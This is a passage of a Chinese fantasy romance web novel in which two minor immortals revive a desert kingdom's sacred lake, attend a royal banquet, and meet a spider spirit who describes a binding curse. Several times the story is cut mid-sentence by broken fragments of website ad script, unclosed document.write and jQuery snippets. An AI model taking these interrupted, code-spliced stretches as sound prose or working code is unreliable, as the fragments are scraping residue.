“扶西,扶西,扶西——” 水越来越来多,巨大的力量将她冲下献流的肩头。 干涸的圣湖已极快的速度充满水,扶西在其中艰难地扑腾起来,差点就被冲上岸了。 “红,红生?” “扶西——” 哇的一声,水流涌出得更快更多了,不多时就漫过了石台,扶西这才看清,这水流就是从杯子里源源不断淌出来的。 “你在哭吗?红生?” 扶西奋力游过去,轻轻抚了抚杯沿。 红生泣不成声:“终于,终于有人来了。”言罢他又哇的一声哭起来,又把扶西冲开。 扶西又游回来:“你先别哭了,我把你取下来。”言罢她上手就要硬拽,却怎么也拽不动。 “要是能走,我早走了。” 红生依旧抽抽搭搭的:“我被定在石台上了。” 扶西撸起袖子,深吸一口气潜入湖底,想着连石台一起取走,试了两下放弃了。 太重了。 她浮上水面:“你等我想想办法。” “嗯。” 扶西抬手拍了拍杯沿,就要返回去。 游的途中总觉得哪里不妥,快靠岸的时候才反应过来,那小贼不见了。 “还不快浮上来!”她环顾着空旷的水面,破罐子破摔地发号施令,半晌依旧寂静。 坏了。 扶西只好又潜回石台旁细细寻找,不知是不是方才巨大的冲击力,献流已不在原处。 “哎——” 扶西想开口呼唤,忽然想起自己从来都是小贼左小贼右地喊人家,到现在居然连他叫什么名字都不知道。 这下怎么叫? 无法,她只得闭上眼睛,用尽全力感受真身所在,直到胸口传来阵阵暖意,她才轻轻呼出一口气。 根本感受不到。 算了,开膛破肚都死不了,区区泪水,又怎么会淹死他。 正打算睁眼游回岸上去,腰侧却忽然传来一阵有些颤抖的触感,她猛然睁眼,竟恰好看到献流那张逐渐放大的面庞。 月光投进水底,他面上似乎镀了一层淡淡的银芒,扶西愣了愣,之前怎么没发现这小贼长得这么惊艳。 不料献流越凑越近,扶西察觉出不对劲来,一把用手掌按住了他的脸。 献流怔愣着开口:“咕噜咕噜咕噜——” 全是泡泡,看口型看不清,听声音听不清,扶西睁大眼睛,往上抬了抬手臂,示意他游上去。而后自然地挣开献流放在她腰间的手,往湖面上游去。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 浮上水面那一刻,扶西长长地舒了口气:“走,从人少那边上岸,被发现就不好了。” 献流满头满脸的水,望着她有些迟钝地点了点头。 扶西双手攀住岸边的石块,腰部用了点劲,另一只手抓住一截干枯的树枝,终于挪到岸上。 还没来得及顺口气,揩揩脸上的水,就有人把她跟个“大”字似的架了起来。 完了,上岸的地方还是没选对。 “神仙,神仙上岸了——” “神仙——” “拜见神仙——” 扶西望着脚下迅速移动的沙石,再看向旁边那些举着火把载歌载舞的人,一时间有些反应不过来。 一回头,献流也被人架着举高狂奔,脸色青白交加,比她的还难看。 意识到扶西的目光,他还把头扭开了。 半晌,两人终于被放了下来。 “二位神仙,多亏了你们,圣湖重生湖水,天佑加罗啊——”来人衣着光鲜亮丽,珠宝璀璨,皆非凡品,一看就不是小人物。 扶西眼珠子滴溜溜转了四五圈,立时装腔作势起来,她躬着身子微微退后:“都是贫道分内之事,言重了。” “啊呀!看二位神仙衣着,莫非是从中原来的?” 扶西颔首。 献流十分自觉地走过来,站在她身后,手指微微蜷起,扶西身上湿透的衣裳立时干透了。 他深深呼出一口气,仿佛累极了。 众人见状,愈发对二人乃当世神仙这一说法深信不疑,有胆子大的已经跪下来磕头了。 扶西神色从容不迫:“贫道途径加罗,见百姓受旱灾之苦,于心不忍,本欲在深夜寂静时悄悄施法,不想闹了这样大的动静。” 献流抿了抿唇。 原来这衣着光鲜的男子是国主大儿子乌特,素有贤名,他一拍手,立时朝着扶西鞠躬:“加罗有幸得神仙相助,父王已经知晓此事,还望神仙能进宫,让我们好好感谢您啊!” 扶西听到这里心里已经有些飘飘然了,她竭力按住上扬的唇角,摆手道:“救人一命胜造七级浮屠,贫道不求回报。” 按捺不住众人的热情,扶西和献流对视一眼,最后还是登上了去往皇宫的轿辇。 “这位是?”乌特咧嘴笑着,望向献流。 扶西哦了一声:“这是我徒儿。”她脑海里飞快地过着,实在想不出合适的名字,于是朝向献流不断挑着眉毛。 献流朝着乌特拱手:“南疏。” “哦,南疏道长,辛苦你们了。” 献流点点头。 扶西终于放下轿帘,板了太久的身体自在地向后倒去,她深吸一口气,忍不住笑出声来:“这也太凑巧了,等救出小红生,我还得给他讲讲这个笑话呢。” 献流却坐得笔直,一动不动,若有所思的模样。 扶西又立起来,抬着手往他脸前摆了摆:“怎么不说话?” 献流终于肯眨眨眼睛,却不去看扶西:“不知道说什么。” 扶西重重拍了拍他的背,献流剧烈地咳嗽起来,扶西见状马上递过去一杯水。 “你就不是享福的命,明日国主肯定要宴请我们,到时候山珍海味,美酒佳肴数不胜数,你不期待吗?” 献流虚握拳头放在唇边咳嗽两声:“还好吧。” 扶西见他一副兴致缺缺的样子,心生怪异,再看看二人之间的距离,说是楚河汉界也不为过。 他刚刚哪里又丢脸了? 又是这副羞愤欲死的模样…… 15. 从天而降的鹰 扶西跟着引路的侍女踏入宫殿,不由地睁大了眼睛,亮得几乎可以照镜子的地板,灵巧华贵的雕像,处处可见的红蓝宝石镶嵌其中,富丽堂皇。 路上竟还遇到了那位十公主,她见到扶西,眸中一闪而过的惊讶立时被欣喜压下去。 “原来你就是他们说的神仙?”公主眉目深邃,肌肤细腻得几乎看不到毛孔,浑身上下的宝石都没有她的眸子耀眼。 扶西微微躬身:“不敢不敢,贫道只是比他人多修得些缘法罢了。” “听闻你已经三百多岁了,真看不出来!”公主热心地上前握住她的手,笑意盈盈,“可惜了,父王找我还有事,不然一定要你去我那里坐坐!” 扶西熟稔地应着,眼看着那公主阔步越过她,又回过头来朝她眨了眨眼。 莫名有些熟悉,真是怪…… 不等扶西多想,卧房已将她惊到了。 睡觉的地方比他们住的客栈宽了至少十倍,连纱幔上都坠满了宝石,扶西躺进云朵一样的软被里,居然忍不住去想若是抠一个宝石下来,那得值多少钱! 一转身,她又摇了摇头,俗,俗不可耐。 她好歹是个神仙。 * 天光大亮,日上三竿,没了献流这傻子的打扰,扶西难得睡了个好觉,她才起身,便有五六个侍女鱼贯而入。 抓着她洗脸漱口,梳妆穿衣,甚至就在她打哈欠的功夫,那柄临时买的拂尘都安置在她怀里,连乱糟糟的毛都梳好了。 下一刻,她就在侍女的拥簇之下来到了正殿,扶西尽量保持着目不斜视,以契合自己三百多岁的老人身份,却还是被宫殿里的宝石闪得睁不开眼。 宝座之上,应当是加罗国主,看着五十多岁的模样,依稀可见年轻时的俊美,如今他笑得开怀,看着倒是十分亲切。 “想必这位就是唤醒圣湖之眼的神仙吧!二位快快到孤身边落座!” 扶西一脸的宠辱不惊,慢腾腾地在加罗国主下首落座,甫一坐定,就有数不清的珍馐美食端了上来,玉著银碟,奢华至极。 她强忍着上扬的嘴角,装模作样地起身谢过:“多谢国主盛情款待,真是折煞贫道了。” 国主大手一挥,捋着胡子呵呵大笑:“来,我敬您二位一杯!” 扶西不疾不徐地端起桌上的琉璃酒盅,望着里头鲜红欲滴的葡萄酒,轻抿一口,真是香气醉人。 不一会儿,便有数十个穿金戴银的舞女缓步而来,配着西域独有的乐曲,她们的衣带在殿中飞扬,五颜六色,好似春日花圃,迷人眼。 扶西转头,恰好见到献流端着琉璃酒盅细细观察,他修长的手指缓缓转动着酒盅,光线穿过艳红的葡萄酒,在他鼻梁洒下一片微红的光斑。 他又抿了一口,长眉便蹙了起来。 “好喝吧?”扶西凑过去,尽量维持住自己“师父”的身份,朝他挑了挑眉。 “咳咳咳——” 献流似乎被吓到了一样,剧烈地咳嗽起来,以极快的速度别过头去。 “尚可。”他咳得泪眼朦胧,最后吐出两个字。 扶西撇撇嘴,只道这人真不识货,立时又喝了一盅。 “刷——” 五颜六色的飘带聚拢在一处,团成鲜花的模样,殿中花瓣散落,似翩翩起舞的蝶。 扶西捏着玉著的手顿在半空,忽然发现金碧辉煌的大殿四周已经暗淡下来,只留下一束从琉璃穹顶射下的光。 皎洁明亮。 扶西从自己肩膀上取下一片花瓣,柔嫩清透,十分新鲜。 下一刻,团团花瓣之间,光线勾勒出姣好的人影,头冠高耸,衣着光鲜,一看就比其他舞女考究不少,她端着把足有自己那样高的琵琶,弹着时而激昂,时而缓和的乐曲从天而降。 舞袖翻飞,乐音抓耳,扶西看得入了神,直到那天仙一般的人缓步行至自己面前,盈盈一拜。 “曼吉特以此舞献给贵客。” 扶西立时起身回拜:“公主天人之姿,叫人见之不忘,能见公主一舞,是贫道同徒儿的福气啊。” 曼吉将手指放在唇边,轻轻笑道:“你们中原人说话真有意思,都那么好听。”她目光在扶西身上流连了一会儿,又转向献流。 恰在此时,穹顶之处忽然传来异响,七彩的光斑剧烈地抖动起来,一头巨鹰破开琉璃,将光搅成了碎片。 它趁着下落的风势在席间游走,臂展足有一人高的翅膀斜掠过布席的桌面,堪堪避开上面琳琅满目的器皿。 “啊——” 年轻的男声传来,众人这才发现,这并非巨鹰,而是个戴着翅膀的年轻男人,他上下挥舞着双臂,真像只鸟在殿中飞行。 殿门口有士兵举着长戟大喝,男人似乎变得更加惊慌,竟直冲冲往扶西她们这边来。 公主还立在扶西案前,眼看着那巨大的翅膀就要冲倒曼吉,扶西又下意识想用仙术,无用时才即刻伸出手去。 可惜晚了。 那男人戴着木头制成的头盔,他似乎控制不了这巨大的翅膀,手忙脚乱地扯着肩膀上的机关,却飞得更快了。 “小心——”他出声提醒。 曼吉却被吓呆了。 下一瞬,男人伸出双手,将她拦腰抱了起来,而后勉强改变了飞行的方向,直冲向琉璃穹顶而去,翅膀带起的风将地上散落的花瓣全都卷了起来。 漫天飞舞。 曼吉双手搂着他的脖子,能看到男人的下颌,身旁飞花打着旋缓缓坠落,她看着这人轮廓旁的光晕,有些出神。 “对不起!”男人低下头看她,露出一双有些委屈焦急的眼睛,“等我弄好了,就能落地了。” 曼吉看着他熠熠生辉的眼睛和高挺的鼻梁,整个人仿佛脱了力一样,迎面而来的风卷起她的衣带,和翅膀纠缠在一起。 “哐——” 在殿中绕了好几个圈,两人总算平安落地。 男人立时将曼吉放下来,不知是累了还是怎么的,他两颊通红,头垂得极低。 “我冒犯公主了!”他行礼,声音都有些颤抖。 “刷——” 数十个长戟冲进殿中,矛头直指男人,直接拉着他的脑袋将人架了起来。 他双手扶着长戟,痛苦地挣扎着。 “押下去,即刻处置!”国主发声,威严不可抗拒。 男人艰难地出声:“我,我,救我……”也不知是在向谁求救。 “父王!”曼吉跑到王座前,“放了他吧,我看他不是有意的。” “胡闹!” “父王,他方才本可以直直撞到我身上,却还是费力将我救了起来,如此看来,并非歹人啊。” 这一切发生得有些太快了,扶西轻轻拨开挡在她前面的献流,睁大眼睛看热闹。 这男人身着粗布衣裳,草鞋上沾着泥灰,上半身还套着个看不明白的盔甲,此刻因为公主求情,兵士放松了对他的钳制,终得一丝喘息的他大口地呼吸起来。 “父王!”曼吉踏上金色的台阶,“我愿意为他做担保。” 加罗国主看着自己心爱的女儿,无奈叹口气,抬了抬手。 男人立刻被放了下来,他蹲在地上不停咳嗽着。 曼吉想将他扶起来,谁料方触到他衣袖,这人就弹了起来:“草民冒犯了公主,还能得公主求情,实乃人生大幸!” 原来这男子名叫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 摇光,住在伽罗城郊外,平日里就喜欢鼓捣这些机关奇术。他拨动肩上的机关,将巨大的翅膀脱了下来。 众人这才发现这翅膀都是由木头制成的。 曼吉看着他,眼里闪着连自己都没发现的光。 “我听说有位神仙来了加罗国,可惜没能亲见,偶然得知国主在宫殿宴请神仙,我这才想趴在琉璃顶上看一眼。”他挠了挠后脑勺,“没想到,穹顶碎了。” 加罗国主听完,倒也没再追究,反而大手一挥,明令加强宫中巡视,这么大一个人,居然轻而易举地就溜进宫里了。 守卫们在心里暗暗叫屈,这巨大的翅膀盘旋空中,实在太像鹰了,谁晓得这下头拴着个人啊。 “想必这就是那位三百岁的神仙吧……”摇光缓步行至扶西面前,朝她拱了拱手。 不知为何,扶西觉得他盈盈的笑意仿佛浮在脸上,眸子的冷却是实在的。 “小友唤我道长即可。”扶西笑着托起他的手,“摇光,你的手可真巧。” 他咧嘴笑着,不好意思地垂下了头。 目光一转,落在献流身上。 摇光愣神了半晌,胸腔中似乎有无声的力量在翻涌,他有些不受控制地踱步过去,膝盖发软。 “咚!” 摇光朝着献流跪了下去。 献流立在那里,不知所措。 跪他干什么? 扶西剜了献流一眼,太没眼力见了,她笑呵呵地过来给摇光扶起来:“小友,你也太客气了,” 摇光却是不肯起来。 他抬起头望着献流,满脸的错愕与惊异,最后取掉了头盔,朝着献流就是哐哐磕了三个大头。 他呼吸粗重,膝盖终于重获自由,不等扶西搀扶,立时从地上站了起来。 “道长,道长这是?”他仔细回想着自己之前有没有得罪过这师徒二人,莫非他们真会仙法,借此机会合情合理地羞辱自己。 自己还不能开口质问,分明就是他心甘情愿下跪,关人家什么事。 献流抬眼,语气惯常的冷淡:“摇光,你大可不必如此。”他想了想,“若要拜,应当拜我师父才是。” 几十双眼睛齐刷刷地看过来,炽热激动的目光激得摇光心头一凉。 他咬咬牙,哐的一声跪在扶西前面,紧绷着脸颊磕了三个响头后,不等扶西搀起来,便自己起了身。 他咧嘴笑着:“多谢道长!圣湖有水,加罗国又能兴盛了。”他转向国主,又磕头,“这是加罗之幸,更是国主感动了上苍啊。” 加罗国主捏着胡子,笑呵呵地摆手,竟不计前嫌地也给他摆了一桌。 曼吉恰好在他对面,这顿饭吃得心猿意马,她忍不住抬头观察摇光,看他吃饭的动作,喝酒的神情。 一个住在郊外的苦出身,也能这样落落大方,有礼有节,好难得。 扶西拄着脑袋:“你对他施什么仙法了?怎么一来就要跪你?” 献流也是满脸不解:“我也不知。” 莫名的,他觉得这摇光有些熟悉,可就是说不出来。 献流望着曼吉那心不在焉的模样,碗里的汤都快被她筷子搅干了,也不见喝一口。 他忍不住出声:“难。” 扶西凑过去拍了拍他肩膀:“没事,我们迎难而上!”她目若悬珠,眉眼弯弯。 献流:“我说的公主与摇光,你说的什么?” 扶西愣了愣:“我以为你说红生呢!” 献流偏过头去将酒盅里的葡萄酒一饮而尽。 “没眼力见。” 扶西动作顿住,反复确认了几回,这小贼,居然说她没眼力见? 简直倒反天罡! 16. 大周四皇子 有人在国主耳边悄悄说了句什么,他舒展的眉头渐渐蹙起来,半晌才抿着唇无可奈何道:“既来了,哪有不宣进来的道理,到时又教人家觉得我们怠慢。” “中原使臣到——” 扶西坐直了身子,真是一茬接一茬,没完没了了。 曼吉欢喜雀跃的表情肉眼可见地黯淡下来,她起身一拜:“父王,我有些累了。” 国主在心里斗争了一会儿,还是道:“等见完使者再去休息。” 曼吉小嘴撅得老高,无法,她们加罗国地处西域,日子过得不错,富饶却比不上中原。特别是前面中原大将李思将匈奴击得节节败退,他们这些小国就更是战战兢兢了。 天朝上国,富贵无极。 曼吉折返回去,一言不发地将碗碟中的食物放进嘴里。 摇光将她过于外放的情绪尽收眼底,他垂下眼睫,眸色晦暗不清。 片刻以后,一男一女步入殿中,两人衣着看似简单,却在行进之时暗纹光波流转,低调奢华,可见一斑。 “大周四皇子刘时见过加罗国主。”男人率先开口,他看上去约莫二十多岁的模样,相貌堂堂,身姿挺拔,腰间的玉玦发出清脆的声响。 女人长眉如烟,眼尾上扬,浅淡的唇色透着水光,一举一动风姿绰约。 扶西一眼瞧出,这女人并非凡人,可惜她仙法受限,开不了天眼,否则合该看看她的真身,究竟是个什么。 扶西打量她的间隙里,她直白的目光也飞到扶西身上来,像是一眼就能将她看穿。 女人捂着帕子抿嘴笑,朝扶西抛了个媚眼,目光流转到献流身上时,她表情迷惑了会儿,又照常送来个媚眼。 献流蹙起长眉,胸口说不上来的憋闷。 “不想竟是大周四皇子,果然仪表堂堂,快快入座。”国主哈哈大笑,十分机械地抚着自己的胡子。 “小人是四皇子的好友,薛介,见过国主同诸位大人。”他一开口,众人如遭雷击,此人一具纤纤女儿身,声音却粗狂如荒漠沙砾,骆驼来了都得滑行三丈远。 竟是个男人?! 国主看样子遍历世事,见怪不怪,依旧微笑着让侍女引二人入座。 那薛介笑意浓得快要化不开,他甚至直勾勾地盯着扶西,从怀里掏出口脂来细细擦在嘴唇上,看够了便掏出小铜镜来打量自己,半晌才满意地坐直身子。 曼吉心情复杂,她忍不住去看那名叫刘时的男子,大周的四皇子,生得虽然俊俏却不够精致,个子高却显得笨重,奢华合身的衣料裹不住他躁动的心,看着他似乎很是不自在。 看来看去,竟还不如摇光顺眼,她胡思乱想,若是摇光也收拾打扮一番,应当比这刘时还好看不少。 从前她偷听过父兄议事,这位四皇子估计就是她和亲的对象。一想到将来可能嫁给这样一个人,曼吉即刻食不下咽,面对着美味佳肴连看的心情也没了。 扶西同样的如坐针毡,她料想此人一定也瞧出了她二人并非凡人,那狡黠的表情也不知在酝酿着什么,总之来者不善。 她给献流递眼神,那人一张脸抓心挠肝的模样,平日甚少见他如此大张大合的表情,显然也是被震惊到了。 “他不是凡人,仙身似乎被施了障眼法,瞧不出来。”献流语气依旧平和如水。 扶西点点头。 这顿饭前头吃得多欢快,中途就多惊吓,后半段就多难以下咽。 终于得到国主一句累了先去休息,扶西如临大赦和献流一起起身,拜别众人,欲回客栈去。 不料曼吉却先开口堵了她们的话:“二位不如就在宫里住下,陪我再玩玩吧。”她眸色水光动人,看着竟有些楚楚可怜,“我已禀明父王,二位不必忧心。” 扶西和献流对视一眼,想到那个妖妖娆娆的薛介,决议不再推拒,就住了下来。 今日喝多了酒,头脑昏沉,扶西决定先好好睡一觉,等明日起来,再考虑红生的事。 她跳进云被里,恍恍惚惚间好像真的升到了天上,簌簌的冷风拍着她的脸颊,时不时还有凌厉的冰锥擦着脸皮过去。 扶西不舒服地皱起眉头,想翻个身,却发现手脚都动不了了,她猛然睁开眼睛,却发现自己脖子以下裹满了白色的丝线,整个人被吊在房顶上,摇摇欲坠。 目之所及,昏昏暗暗,勉强能看见一点外头微弱的烛光。 夭寿啦!她又得罪谁了? “你就是那个三百岁的小道士?”来人声音粗旷,十分耳熟。 扶西斟酌着开口:“薛,薛介?” 他夹起嗓子,沙哑好似公鸭:“难为你还记得我的名字,就是我呀。” 虽听得见他的声音,却根本看不到他人在哪里,扶西竭力挣扎着环视四周,房里连个人影都没有。 “要不你抬头?” 扶西下意识地循着他的声音抬头,映入眼帘的是薛介巨大的五六个黑眼球,宽阔的额头,高耸的鼻梁,近得几乎贴到扶西的眼球上。 “啊啊啊啊啊——” 从小到大,她还不曾受过如此惊吓,心如鼓擂,几乎跳出胸膛。 耳边又传来窸窸窣窣的声音,扶西眼眶逐渐变红,眼看着那个巨大的头摇摇晃晃地从房顶挪下来,挪到与她平齐。 扶西屏气凝神,目光缓缓往下,只见薛介头颅下方衔接着细如竹笋的脖子,然后是八只整整齐齐的腿。 一只巨大无比的黑蜘蛛! 扶西流下清泪两行,晕了过去。 “醒醒,醒醒!” 扶西再睁开眼睛,又被面前的人脸吓了一跳,反应过来是薛介的人形以后,终于静下心来。 她在山中生长,所见虫鱼鸟兽大多小巧玲珑,原形也没有这么可怖的。 “薛,薛介,你要做什么?” 强压住内心的恐惧,扶西抿嘴露出一个无可奈何的笑。 薛介红唇轻启:“瞧把你吓的,我可没有恶意。”他摇着手帕又靠近了些,“你是怎么让圣湖再涌出水来的?” “当然是施的仙法。”扶西斟酌了一会儿,决定嘴硬。 薛介大笑出声,纤长的手指点了点扶西的额头:“你一个小小的地仙,哪里有这么大的本事?是不是你旁边那个人干的?” “我觉得他比你有本事。” 言罢,薛介手臂弱柳扶风地一挥,裹着献流的蛛网也移了过来,和扶西的撞在一起。 “我一样吓他,他都不怕。” 薛介微微笑着,在两人面前踱步:“你们只要说出来,我既往不咎,还能和你们做朋友。” 扶西扁了扁嘴,谁想跟你做朋友啊? 真是的,圣湖出水碍着他什么事了。 “别给我不说话,大家同为神仙,法力低微,只能在凡人面前装 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 神弄鬼得点自豪感,实话同你们俩说,这活神仙本该由我来当的,你们抢了我的活,得赔我!” 扶西同献流又一齐陷入了沉默。 这一默,薛介又气起来,他叉着腰,抬手一动,橙色的光芒闪过后,两人齐齐落到地上。 “说吧,你们怎么赔我。” 扶西缓缓爬起来,发现这人果然只是恐吓他们一下后,态度软和不少:“我们也是误打误撞,赔不了你。” “误打误撞?” 薛介蹙起眉,慌里慌张地掏出铜镜对着自己的脸颊左看右看:“都怪你们气我,害我老了好几岁。” 这人脾气上来的快,去的也快,似乎将两人吓了一吓便解气不少,他捡了个凳子坐下,二郎腿翘起来打量二人。 “你们两个,不好好在仙界待着,来这里做什么?” 献流剑眉一横,不动声色往前挪了几分,站在扶西前面:“与你何干?” 薛介小脸一皱,这人看似高深莫测,还以为多厉害,他瞧了瞧真身,一颗两片叶子的草,也敢这么硬气。 “哼,别以为我不知道。” “所谓的圣湖之眼其实是块木头,是你家亲戚吧?” “我也是受人所托,你们耽搁了我的事。”他自然而然地拿起桌上的琉璃盏,喝了口水给自己顺气,“我也不怪你们了,大家同为地仙,在人间玩玩,别伤了和气。” 是谁一来就给人吊着,要伤和气也是他的问题吧…… “他下不来,我知道为什么。” 扶西听完忍不住了,上前几步来到薛介面前,夺过他手里的琉璃盏:“是什么?” 薛介被她这一抢搞得有些愣,悬在空中的手指打了个转,落在滑到肩头下的衣襟:“一个女孩子,怎么这么粗鲁。”他哼了一声,“是一种古老的咒术。” “古老的,咒术?” 薛介眼珠子骨碌碌地转着,他抬起头咧嘴一笑:“叫,木石之心。” 扶西转过头去看献流,她从未听过此种咒术。 献流也摇了摇头:“我也不曾听过。”他在脑海里搜寻起来,说实话他自幼博览群书,确实不曾听过叫这个名字的咒术。 “此咒狠毒,可将生人与死物牢牢捆在一处,除非身死,不得解脱。”他说得煞有其事。 扶西想了想,索性死马当作活马医:“可有解法?” 薛介笑得高深莫测,他站起来,扭着曼妙的腰肢抬手往扶西的脸上捏了一把:“当然有。” 扶西一把抓住他的手:“跟我说。” “你求我,我就告诉你。” 扶西用另一只手也抓住他的手指,表情虔诚:“我求你。” 薛介咳嗽两声:“简单,你叫那死物也修成生物,两人商量一下,互相解脱就是了。” 扶西眼睛俶然亮起:“真的?” 薛介抽开手,下意识地转了个圈:“当然是真的。”他转回来,又握住扶西的手,安慰似地拍了拍,“我比你们年长一些,见识广一些,为人谦和不计较一些,大方一些,修为厉害些……” 他越说越得意,越说越开心,一张脸逐渐扭曲变形,两只眼珠旁又长出四五只眼珠,殷红的嘴唇越来越大。 扶西适时打断他,斟酌着开口:“要不你先照下镜子?” 薛介不明所以地掏出铜镜。 “啊——我的脸——” 17. 洗手 薛介手忙脚乱地收拾好自己的脸,这才腾出空来打量他前头交错站着的两人。 “怎么,你们不信我?”他用帕子抚了抚唇角,“若是不信,你们当如何?” 扶西确实被他问住了,若是从前,她摘了红生飞天就走,哪里还有这样多的弯弯绕绕。 她扁了扁嘴,难以抑制地怀念起从前的自在时光,这一想又难免对身后这个常常板着脸的小贼心生恨意。 如果不是他…… “我们凭什么信你?!”献流几乎可以确定,这所谓的木石之心并未出现在典籍中,一方面,可能是并未收录的古老禁术,但凡禁术,多通奸邪,不妥;另一方面,这东西可能就是这家伙杜撰出来的,如此一来,实在居心叵测。 他有些愤愤地握紧拳头,要是从前,只需简单探查便可知晓红生身上有无咒法,是何咒法,抬手可解,哪里还有这么多考量。 他眸色涌出不耐烦,恰好与扶西那双含着恨意的眼睛对在一起。 扶西一愣,不是,她还没说什么呢?这人怎么又露出这种烦躁的表情,该烦躁的人明明是她才对! 扶西冷笑一声,回过了头。 如今这种局势,她们还能也怎么办,只能死马当活马医了。 扶西面对这薛介,抬了抬手:“多谢仙友指点,我们试试看吧。” 薛介咧嘴笑开,跳起来握住扶西的手:“我就说呢,我们地仙在人间,就该互相扶持,天大地大,相遇即是缘分。” 扶西看着他眼睛:“那你怎么跟着个凡人?” 薛介撤了手,面色里有一闪而过的惊慌与尴尬:“唉,人家于我有恩,我跟着他还了这个恩情,再去游山玩水,不然留下业果就不好了。” “凡人,于你一个神仙有恩?” 他敛去面容中的调笑,终于变作认真的模样,连声音也恢复了原貌:“从前我重伤濒死,是他救了我性命,救命之恩,如何能不报……” 言罢,他眼底泪光闪动,不多时便化作开闸的河堤,哗啦啦地涌了出来,连帕子都洇湿了。 “我自幼孤苦,出生时母亲不幸亡故,父亲不知所踪,幸而还有几分仙缘,苦修千年终于化作人形,不想渡劫时雷火交加,不甚坠入人世,手脚筋脉俱断……”他越说越来劲,最后竟直接上手,用额头抵着扶西的双手,痛苦地嚎哭起来。 扶西听得眉头蹙紧,或许是她生来就无父无母,并不能体会薛介痛苦的出生心情,不过他后来历劫的艰难倒也能感同身受几分。 “要不是四皇子幼时心善,我就,我就……” “好了好了。”扶西腾出另一只手轻轻拍了拍他的肩膀,“谁让你方才来者不善,又是吊着人又是吓我们的,如此一来,谁敢轻信于你。” 薛介止住了哭泣的声音,来到两个散开的“蛹”前:“这可是我用蛛丝精心织就的,躺在里头比棉被还暖和。” “你醒的时候,我正在织另一个蛹,一时兴起想逗逗你们罢了。” 献流心里没来由地烦躁,他视线落在扶西的双手上,目不转睛,连他自己都没反应过来,掌心已然蓄出了一个光华流转的火球。 火星子噼里啪啦地炸。 薛介见扶西表情已经松动了许多,抹去鼻涕眼泪,眼睛看着献流,却朝着扶西夹起嗓子:“那不如明日再见,到时候一起玩呀!” 不等扶西回应,他已溜之大吉。 她捏了捏耳垂,望着夜色里大敞的房门,总觉得哪里不对劲,却又说不上来。 一转身,却见献流身侧竟有火光乍起,火苗跳动,阴影在他的脸上跳跃,他却并未察觉,目光还朝着大敞的房门。 扶西连忙将桌上琉璃花瓶中的树枝扯出来,就着献流就是兜头一瓶水。 献流眼里交错着闪过错愕与惊奇,最后才顺着扶西的手指的方向望向自己身侧的地毯。 已黢黑了一块。 还好灭得及时。 扶西将花瓶随手放到一边,朝着献流不住地拍他肩膀,语气激动:“我还没激动上,你怎么先急上了?” 献流有些愣神望着掌心,冰凉的水珠划过他的眉眼,他抬起头,看着扶西:“抱歉,是我失态了。” “我先回去了。” 扶西看着他摇摇晃晃的背影,和左脚绊右脚的动作,忍不住偏头。 这家伙,烦躁就算了,怎么还喷火,她都没气到那个份上。 想起薛介之前的话,扶西捡起地上蛛丝织成的“蛹”。 比棉被还暖和? 刚才光顾着心急了,倒没映像。 她轻手轻脚地又钻回去。 下一瞬,蛛丝蛹俶然收紧,又将她吊回了房顶上。 扶西:…… * 能让这石台迅速修出灵识的方法就是给它渡仙气,用外力促使快点“活过来”。 这点确实无可指摘,献流虽不大相信薛介,但也暂时想不出其他方法。 这事不太好弄,两人只得以巡查圣湖为借口,夜里泛舟去到石台旁边,夜以继日地给它渡仙气。 扶西如今修行所得都像石沉大海,吸收的日月精华像泥牛入海,不知所踪。 “你平日里就这么修炼的吗?”献流不敢相信。 扶西点点头:“是啊,什么都懒得学,全靠吸收天地日月之精华,而后在体内运转四十九个小周天,便能为我所用了。” “如今,只得靠你了。” 现在靠着献流哐哐渡,一来二去,一月有余。他白日修炼,夜里渡气,可谓累极。 扶西坐在船头玩水,献流在船尾黑着脸给石台渡仙气。 “真是便宜你咯——”扶西拍了拍石台,又凑到旁边找红生说话。 “红生?” “嗯?”红生的声音满是困意,“扶西,怎么样?这石台开口讲话了吗?” 两人之前已将前因后果与红生讲了,献流工作的同时,红生也将自己的一部分仙气渡给这石台。 真是死马当活马医了。 “这才多久,你太心急了。” “我想父亲了。”红生语调垂头丧气,他忽而想起来,“你与父亲冰释前嫌了?” “那倒没有,他答应我救回你,给我五座山。”扶西咧嘴笑着,在红生杯子前晃着五根手指,虽然他看不见。 “话说你是怎么来到这加罗国,前不着村后不着店,真是神奇。” 红生长长地叹了口气:“我是离 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 家出走,没走对地方,又受了伤。”杯子好像微微抬了起杯沿一些,“人家见我是我雷击木,便雕成个杯子。” “刚开始,我急得很,没日没夜的哭,那人拿着我这个杯子挖了个坑,我哭出一个池塘,后来变成大池塘,再后来就成这湖了。” “哭来哭去,才发现自己被定在石台上,哭得更厉害了。前几年实在哭不动了。” “扑哧——” 扶西笑出声来。 “我渡劫失败,父亲定然很是失望,流落人间,毫无还手之力,若非你来救我,还不知要到何年何月我才能解脱。” 扶西拍拍他杯沿:“你不必忧心,我既来了,定把你带回去,老头的话你也少放在心上。” 红生又无声地啜泣起来:“扶西,扶西你真好。” 扶西咧嘴一笑,脚下的小船往侧边晃了一下,若非她眼疾手快抓住船舱,就掉进水里了。 “怎么回事?” 船尾声音幽幽:“起浪了。” 风都没有,哪来的浪。 扶西没心思再管这么多,终于鼓起勇气问红生:“安阳老头说我那句话,到底什么意思?” 红生听完立时止了啜泣,顾左右而言他:“什么话,什么意思啊?扶西我没明白……” 扶西重重拍了他杯身一下:“你会不明白?安阳老头都快把我杀了!” “你不愿意承认吗?事实,确实,确实就是……” 小船又晃起来,扶西一时不察跌坐在地,还好没掉进水里。 她听到一声清晰可闻的冷哼,而后是献流一改平日平淡的语调,带了点刺:“薄情寡义。” 扶西咬咬牙对着船尾:“还轮得到你来说我,我告诉你,本山君行得正,坐得直,就是下了十八层地狱,鬼王都得笑着把我捞出来!” 船尾却忽然没声了。 扶西掀开船帘,缓步朝船舱里走去:“怎么,心虚了吧?” 还是没声。 无所谓,这人向来不爱说话。 扶西正欲打道回府,鼻尖却忽然冲过来一股淡淡的清香,再一抬头,眼前是献流宽阔的胸膛,几乎挡去了船头的所有灯光。 